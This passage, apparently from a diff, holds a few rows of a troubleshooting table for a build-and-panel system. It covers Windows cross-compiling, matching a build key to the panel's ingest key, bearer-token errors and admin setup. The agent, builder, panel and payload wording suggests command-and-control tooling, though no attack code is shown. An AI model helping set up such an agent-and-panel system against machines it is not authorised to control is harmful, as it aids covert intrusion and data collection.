`x86_64-pc-windows-gnu` target installed; set `BUILDER_CARGO` | +| Agent connects but panel ignores payload | Verify `PanelAuth` in the build equals `PANEL_INGEST_KEY` | +| `/e2ee/pub` or `/health` returns 404 | Missing or wrong `Authorization: Bearer ` header | +| No admin account | Visit `/setup` once to create it |